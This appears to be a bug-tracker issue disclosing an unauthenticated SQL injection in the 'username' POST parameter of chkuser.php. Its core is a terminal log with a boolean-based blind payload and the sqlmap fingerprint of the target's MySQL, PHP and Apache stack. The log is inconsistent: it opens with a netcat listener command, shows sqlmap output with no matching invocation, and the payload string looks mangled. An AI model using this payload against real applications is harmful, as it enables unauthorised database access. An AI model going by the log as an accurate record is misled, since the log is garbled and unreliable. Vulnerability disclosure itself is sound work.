


[Jump to bottom](#)

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A critical SQL Injection vulnerability was found in chkuser.php.  
The parameter "username" is passed without filtering to SQL sentence which causes the vulnerability.  
Hackers can exploit it without authority to get access to your database

```
kali@kali:~$ sudo netcat -l -p 4444
[+] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 21:16:12
[21:16:12] [INFO] parsing HTTP request from 'r.txt'
[21:16:12] [INFO] resuming back-end DBMS 'mysql'
[21:16:12] [INFO] testing connection to the target URL
[21:16:12] [INFO] heuristics detected web page charset 'utf-8'
sqlmap resumed the following injection point(s) from stored session:
Parameter: username (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: 'username=hus' AND 9857=9857 AND 'or'f2'<'or'f2userpw=sssdskdnt1=8B9J7KZ2MBC
[21:16:13] [INFO] the back-end DBMS is MySQL
web server operating system: windows
web application technology: PHP 5.4.45, Apache 2.4.23
back-end DBMS: MySQL 5
[21:16:13] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.43.64'
[*] shutting down at 21:16:13

root@kali:~#
```

No one assigned

None yet

None yet

No milestone

No branches or pull requests